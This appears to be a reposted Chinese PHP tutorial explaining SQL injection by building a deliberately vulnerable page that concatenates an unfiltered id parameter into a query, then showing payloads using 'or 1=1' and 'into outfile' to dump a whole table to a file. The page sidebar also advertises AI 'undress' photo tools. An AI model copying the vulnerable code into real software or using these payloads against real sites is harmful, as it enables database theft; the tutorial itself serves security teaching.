首頁 後端開發 php教程 sql安全之SQL注入漏洞拖库原理解析_PHP教程

sql安全之SQL注入漏洞拖库原理解析_PHP教程

Jul 13, 2016 am 10:46 AM
sql 原理 安全 文章 注入 漏洞 經驗 自己的 解析 駭客

本文章以自己的一些经验来告诉你黑客朋友们会怎么利用你数据库的sql漏洞来把你的数据库下载哦,有需要的同这参考一下本文章。

在数据库中建立一张表:

 代码如下 复制代码

CREATE TABLE `article` (

  `articleid` int(11) NOT NULL AUTO_INCREMENT,

  `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',

  `content` text CHARACTER SET utf8 NOT NULL,

  PRIMARY KEY (`articleid`)

) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

 

在表中插入数据的操作我就不贴代码了,可以去下载下来直接导入到数据库。

接下来,写一个处理用户请求的页面,这里,我们故意不过滤用户提交过来的数据,留下个SQL注入漏洞用来测试。

代码如下:

 代码如下 复制代码

       $servername = "localhost";

       $dbusername = "root";

       $dbpassword = "";

       $dbname = "test";

       $id=$_GET['id'];//id未经过滤

       $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

       mysql_select_db($dbname,$conn);

       mysql_query('set names utf8');

       $sql = "SELECT * FROM article WHERE articleid='$id'";

       $result = mysql_query($sql,$conn);

       $row = mysql_fetch_array($result);

       echo "

利用SQL注入漏洞拖库

";

       if (!$row){

              echo "该记录不存在";

              exit;

       }

       echo "标题
".$row['title']."

";

       echo "内容
".$row['content']."

";

?>

 

我们直接在浏览器中输入:

 代码如下 复制代码

http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1

即可访问article表中id为1的一条记录

访问结果如下:

 

接下来,我们就利用这个漏洞(不知道该漏洞的情况下,只能通过工具+手工检测),演示一下如何将article表下载下来。

在地址栏中输入:

 代码如下 复制代码
’ into outfile 'e:/sql.txt'%23

分析:%23是#的ASCII码,由于在地址栏中直接输入#后到数据库系统中会变成空,需要在地址栏中输入%23,那么才会变成#,进而注释掉后面的sql语句。

运行之后,打开E盘,发现多了一个sql.txt文件,打开之后,里面就是表article中的一条记录。

为什么只有一条记录呢?难道该数据表就只有一条记录?不是这样的,因为我们只检索id为1的一条记录而已,那么能否将article表中的所有记录一次性全部下载下来呢?

答案是可以的,只要你的构造的SQL语句足够灵活(再次提出了构造SQL语句的灵活性)。

 

分析一下,当在URL地址栏中输入’into outfile 'e:/sql.txt'%23的时候,合并到sql查询语句中变为:

 

 代码如下 复制代码


SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'

仔细分析下之后,我们可以这样子构造SQL语句:

 

 

 代码如下 复制代码
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'

这样的话,无论如何WHERE子句总是为真,换句话说,该sql语句等价于如下:

 

 

 代码如下 复制代码
SELECT * FROM article into outfile 'e:/whf.txt'#'

懂了吧,该sql语句在先执行select语句,将表article中的所以内容全部检索出来,然后再执行into outfile 'e:/whf.txt'#'将内容导出来。

 

不信的话,你执行下……

 

利用SQL注入漏洞,我们可以猜测表名,列名,用户的密码长度(LEFT函数)等等,当然了,如果能直接向以上的演示那样将表中的数据全部导出的话就没必要去猜表名列名等等

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/632941.htmlTechArticle本文章以自己的一些经验来告诉你黑客朋友们会怎么利用你数据库的sql漏洞来把你的数据库下载哦,有需要的同这参考一下本文章。 在数据...
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

偷車問題激增,加拿大計劃禁售駭客工具 Flipper Zero 偷車問題激增,加拿大計劃禁售駭客工具 Flipper Zero Jul 17, 2024 am 03:06 AM

本站2月12日消息,加拿大政府計劃禁售駭客工具FlipperZero和類似設備,因為它們被標記為竊賊可以用來偷車的工具。 FlipperZero是一款便攜式可程式測試工具,可協助透過多種協定(包括RFID、無線電、NFC、紅外線和藍牙)試驗和調試各種硬體和數位設備,獲得了許多極客和駭客的青睞。自產品發布以來,用戶紛紛在社群媒體上展示FlipperZero的功能,包括利用重播攻擊解鎖汽車、打開車庫門、啟動門鈴和克隆各種數位鑰匙。 ▲FlipperZero複製麥克拉倫鑰匙圈並解鎖汽車加拿大工業部長Franço

Astar質押原理、收益拆解、空投項目及策略 & 操作保姆級攻略 Astar質押原理、收益拆解、空投項目及策略 & 操作保姆級攻略 Jun 25, 2024 pm 07:09 PM

目錄Astar Dapp 質押原理質押收益 拆解潛在空投項目:AlgemNeurolancheHealthreeAstar Degens DAOVeryLongSwap 質押策略 & 操作“AstarDapp質押”今年初已升級至V3版本,對質押收益規則做了不少調整。目前首個質押週期已結束,第二質押週期的「投票」子週期剛開始。若要獲得「額外獎勵」收益,需掌握此關鍵階段(預計持續至6月26日,現餘不到5天)。我將細緻拆解Astar質押收益,

PHP微框架:Slim 與 Phalcon 的安全性探討 PHP微框架:Slim 與 Phalcon 的安全性探討 Jun 04, 2024 am 09:28 AM

Slim和Phalcon在PHP微框架的安全性比較中,Phalcon內建有CSRF和XSS防護、表單驗證等安全特性,而Slim缺乏開箱即用的安全特性,需手動實施安全措施。對於安全至關重要的應用程序,Phalcon提供了更全面的保護,是更好的選擇。

SHIB幣放在哪個錢包比較安全? (新手必看) SHIB幣放在哪個錢包比較安全? (新手必看) Jun 05, 2024 pm 01:30 PM

SHIB幣對投資人來說已經不陌生了,它是狗狗幣同類型概念代幣,隨著市場的發展,目前SHIB的市值已經排名12了,可以看出SHIB市場的火爆,吸引力無數投資者參與投資。而先前市場的交易、錢包安全事件頻出,許多投資人對於SHIB的存放問題一直感到擔憂,不知道當下SHIB幣放在哪個錢包比較安全?根據市場數據分析來看,相對安全的錢包主要就是OKXWeb3Wallet、imToken、MetaMask錢包會比較安全,接下來小編為大家詳細說。 SHIB幣放在哪個錢包比較安全?目前來看,SHIB幣放在OKXWe

java框架安全架構設計應如何與業務需求平衡? java框架安全架構設計應如何與業務需求平衡? Jun 04, 2024 pm 02:53 PM

透過平衡安全需求和業務需求,Java框架設計可實現安全性:識別關鍵業務需求,優先考慮相關安全要求。制定彈性安全策略,分層應對威脅,定期調整。考慮架構靈活性,支援業務演變,抽象安全功能。優先考慮效率和可用性,優化安全措施,提高可見度。

聯想 5 月已發布補丁,Phoenix UEFI 韌體漏洞披露:影響數百款英特爾 PC CPU 型號 聯想 5 月已發布補丁,Phoenix UEFI 韌體漏洞披露:影響數百款英特爾 PC CPU 型號 Jun 22, 2024 am 10:27 AM

本站6月21日消息,PhoenixSecureCoreUEFI韌體被曝安全漏洞,影響數百款英特爾CPU設備,聯想目前已經發布了新的韌體更新修復該漏洞。本站從報道中獲悉,此漏洞追蹤編號為CVE-2024-0762,被稱為“UEFICANHAZBUFFEROVERFLOW”,存在於PhoenixUEFI韌體中的可信任平台模組(TPM)配置中,是緩衝區溢位漏洞,可被利用在易受攻擊的裝置上執行任意程式碼。該漏洞由Eclypsium發現,他們在聯想ThinkPadX1Carbon第7代和X1Yoga第4代

40分鐘破解刺客手機 40分鐘破解刺客手機 Jul 20, 2024 pm 06:11 PM

知情人士透露,以色列行動裝置取證公司Cellebrite向聯邦調查局(FBI)提供了一款尚未發行,仍在進行內部測試的評估版本手機破解程序,FBI利用它只花了不到40分鐘就解鎖了特朗普槍擊案刺客托馬斯·馬修·克魯克斯(ThomasMatthewCrooks)的手機。 FBI駐匹茲堡辦公室的特務最初使用市售Cellebrite工具解鎖克魯克斯的手機,但未成功。於是手機當天被送往FBI匡提科總部,總部人員聯絡大客戶支援後,Cellebrite提供了尚未發行的解鎖工具,讓調查人員能在40

如何在 Golang 中使用 SQL 與 JSON 資料互動? 如何在 Golang 中使用 SQL 與 JSON 資料互動? Jun 03, 2024 am 11:47 AM

在Golang中透過SQL與JSON資料互動共有以下步驟:使用json.Unmarshal函數將JSON資料解析為Go結構體,實作JSON到結構體的轉換。使用database/sql套件存取和操作SQL資料庫,執行諸如插入、查詢等操作。結合上述步驟,可以在Go中建立基於SQL和JSON的應用,實現用戶註冊和登入等功能。

See all articles